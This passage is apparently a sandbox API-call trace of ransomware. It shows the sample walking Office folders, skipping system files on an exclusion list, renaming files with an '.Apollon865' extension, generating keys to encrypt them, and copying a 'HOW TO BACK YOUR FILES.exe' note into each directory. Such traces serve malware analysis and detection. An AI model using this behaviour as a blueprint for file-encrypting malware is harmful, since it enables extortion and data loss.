	[0066.303] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0066.303] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.303] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.304] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a40, lpName=0x0) returned 0x150
	[0066.305] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a40) returned 0x120000
	[0066.311] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0066.312] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.312] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.312] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0066.312] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0066.312] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.312] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.312] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.312] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.312] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0066.313] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.313] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0066.313] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.313] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0066.313] CloseHandle (hObject=0x150) returned 1
	[0066.314] CloseHandle (hObject=0x118) returned 1
	[0066.314] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.314] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0066.314] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0066.314] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x13584, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WORDIRMV.XML", cAlternateFileName="")) returned 1
	[0066.314] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.314] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2="Apollon865.txt.exe") returned 1
	[0066.314] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2=".") returned 1
	[0066.314] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2="..") returned 1
	[0066.314] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2="windows") returned 1
	[0066.314] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2="bootmgr") returned 1
	[0066.314] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2="temp") returned 1
	[0066.314] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2="pagefile.sys") returned 1
	[0066.314] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2="boot") returned 1
	[0066.315] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2="ids.txt") returned 1
	[0066.315] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2="ntuser.dat") returned 1
	[0066.315] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2="perflogs") returned 1
	[0066.315] lstrcmpiW (lpString1="WORDIRMV.XML", lpString2="MSBuild") returned 1
	[0066.315] lstrlenW (lpString="WORDIRMV.XML") returned 12
	[0066.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRM.XML") returned 54
	[0066.315] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="WORDIRMV.XML" | out: lpString1="WORDIRMV.XML") returned="WORDIRMV.XML"
	[0066.315] lstrlenW (lpString="WORDIRMV.XML") returned 12
	[0066.315] lstrlenW (lpString="Apollon865") returned 10
	[0066.315] lstrcmpiW (lpString1="RDIRMV.XML", lpString2="Apollon865") returned 1
	[0066.315] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRMV.XML.Apollon865") returned 66
	[0066.315] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\wordirmv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRMV.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\wordirmv.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRMV.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\wordirmv.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0066.316] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=79236) returned 1
	[0066.316] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0066.317] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.317] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0066.317] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0066.317] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.318] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.318] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13890, lpName=0x0) returned 0x150
	[0066.319] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13890) returned 0x120000
	[0066.323] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0066.324] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.324] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0066.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0066.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0066.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0066.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.324] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0066.325] CloseHandle (hObject=0x150) returned 1
	[0066.325] CloseHandle (hObject=0x118) returned 1
	[0066.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0066.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0066.326] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1db63000, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6f62f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1db63000, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x9fb78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WORKFLOW.DLL", cAlternateFileName="")) returned 1
	[0066.326] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.326] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0066.326] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2=".") returned 1
	[0066.326] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2="..") returned 1
	[0066.326] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2="windows") returned 1
	[0066.326] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2="bootmgr") returned 1
	[0066.326] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2="temp") returned 1
	[0066.326] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2="pagefile.sys") returned 1
	[0066.326] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2="boot") returned 1
	[0066.326] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2="ids.txt") returned 1
	[0066.326] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2="ntuser.dat") returned 1
	[0066.326] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2="perflogs") returned 1
	[0066.326] lstrcmpiW (lpString1="WORKFLOW.DLL", lpString2="MSBuild") returned 1
	[0066.326] lstrlenW (lpString="WORKFLOW.DLL") returned 12
	[0066.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\WORDIRMV.XML") returned 55
	[0066.326] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="WORKFLOW.DLL" | out: lpString1="WORKFLOW.DLL") returned="WORKFLOW.DLL"
	[0066.326] lstrlenW (lpString="WORKFLOW.DLL") returned 12
	[0066.327] lstrlenW (lpString="Apollon865") returned 10
	[0066.327] lstrcmpiW (lpString1="RKFLOW.DLL", lpString2="Apollon865") returned 1
	[0066.327] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\XLCPRTID.XML.Apollon865") returned 66
	[0066.327] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLCPRTID.XML" (normalized: "c:\\program files\\microsoft office\\office14\\xlcprtid.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLCPRTID.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\xlcprtid.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLCPRTID.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\xlcprtid.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0066.341] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=79748) returned 1
	[0066.341] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0066.342] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.342] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0066.342] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0066.342] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.342] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.343] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13a90, lpName=0x0) returned 0x150
	[0066.344] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13a90) returned 0x120000
	[0066.348] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0066.349] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.349] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.349] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0066.349] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0066.349] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0066.349] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.349] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0066.349] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.349] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0066.349] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.349] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0066.349] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.349] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0066.350] CloseHandle (hObject=0x150) returned 1
	[0066.350] CloseHandle (hObject=0x118) returned 1
	[0066.350] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.350] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0066.350] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0066.351] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf73e1e00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf73e1e00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x169360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XLICONS.EXE", cAlternateFileName="")) returned 1
	[0066.351] lstrcmpiW (lpString1="XLICONS.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.351] lstrcmpiW (lpString1="XLICONS.EXE", lpString2="Apollon865.txt.exe") returned 1
	[0066.351] lstrcmpiW (lpString1="XLICONS.EXE", lpString2=".") returned 1
	[0066.351] lstrcmpiW (lpString1="XLICONS.EXE", lpString2="..") returned 1
	[0066.351] lstrcmpiW (lpString1="XLICONS.EXE", lpString2="windows") returned 1
	[0066.351] lstrcmpiW (lpString1="XLICONS.EXE", lpString2="bootmgr") returned 1
	[0066.351] lstrcmpiW (lpString1="XLICONS.EXE", lpString2="temp") returned 1
	[0066.351] lstrcmpiW (lpString1="XLICONS.EXE", lpString2="pagefile.sys") returned 1
	[0066.351] lstrcmpiW (lpString1="XLICONS.EXE", lpString2="boot") returned 1
	[0066.351] lstrcmpiW (lpString1="XLICONS.EXE", lpString2="ids.txt") returned 1
	[0066.351] lstrcmpiW (lpString1="XLICONS.EXE", lpString2="ntuser.dat") returned 1
	[0066.351] lstrcmpiW (lpString1="XLICONS.EXE", lpString2="perflogs") returned 1
	[0066.351] lstrcmpiW (lpString1="XLICONS.EXE", lpString2="MSBuild") returned 1
	[0066.351] lstrlenW (lpString="XLICONS.EXE") returned 11
	[0066.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\XLCPRTID.XML") returned 55
	[0066.351] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fec8
	[0066.351] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x5afea8
	[0066.352] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fed0 | out: ListHead=0x5b76b0, ListEntry=0x59fed0) returned 0x59feb0
	[0066.352] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbccffc00, ftCreationTime.dwHighDateTime=0x1c43c6f, ftLastAccessTime.dwLowDateTime=0x5e822870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbccffc00, ftLastWriteTime.dwHighDateTime=0x1c43c6f, nFileSizeHigh=0x0, nFileSizeLow=0x2851, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XML2WORD.XSL", cAlternateFileName="")) returned 1
	[0066.352] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0066.352] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2="Apollon865.txt.exe") returned 1
	[0066.352] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2=".") returned 1
	[0066.352] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2="..") returned 1
	[0066.352] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2="windows") returned 1
	[0066.352] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2="bootmgr") returned 1
	[0066.352] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2="temp") returned 1
	[0066.352] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2="pagefile.sys") returned 1
	[0066.352] lstrcmpiW (lpString1="XML2WORD.XSL", lpString2="boot") returned 1
	[0066.352] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART") returned="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART"
	[0066.352] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afea8 | out: hHeap=0x580000) returned 1
	[0066.352] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fec8 | out: hHeap=0x580000) returned 1
	[0066.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART") returned 50
	[0066.352] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART") returned="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART"
	[0066.352] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0066.352] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\xlstart\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0066.357] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0066.357] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3f9fabd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3f9fabd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0066.357] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.357] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0066.357] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content") returned="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content"
	[0066.357] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0066.357] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fea8 | out: hHeap=0x580000) returned 1
	[0066.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content") returned 56
	[0066.357] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content") returned="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content"
	[0066.357] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0066.357] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0066.362] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0066.362] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x3f9fabd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3f9fabd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0066.362] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.362] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0066.362] lstrcpyW (in: lpString1=0x2d3e5c2, lpString2="1033" | out: lpString1="1033") returned="1033"
	[0066.362] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fea8
	[0066.362] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf898
	[0066.362] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59feb0 | out: ListHead=0x5b76b0, ListEntry=0x59feb0) returned 0x59fe90
	[0066.362] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f9fabd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3f9fabd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0066.362] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0066.362] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f9fabd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3f9fabd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0066.362] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0066.362] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59feb0
	[0066.362] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033"
	[0066.362] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0066.363] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fea8 | out: hHeap=0x580000) returned 1
	[0066.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033") returned 61
	[0066.363] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033"
	[0066.363] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0066.363] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
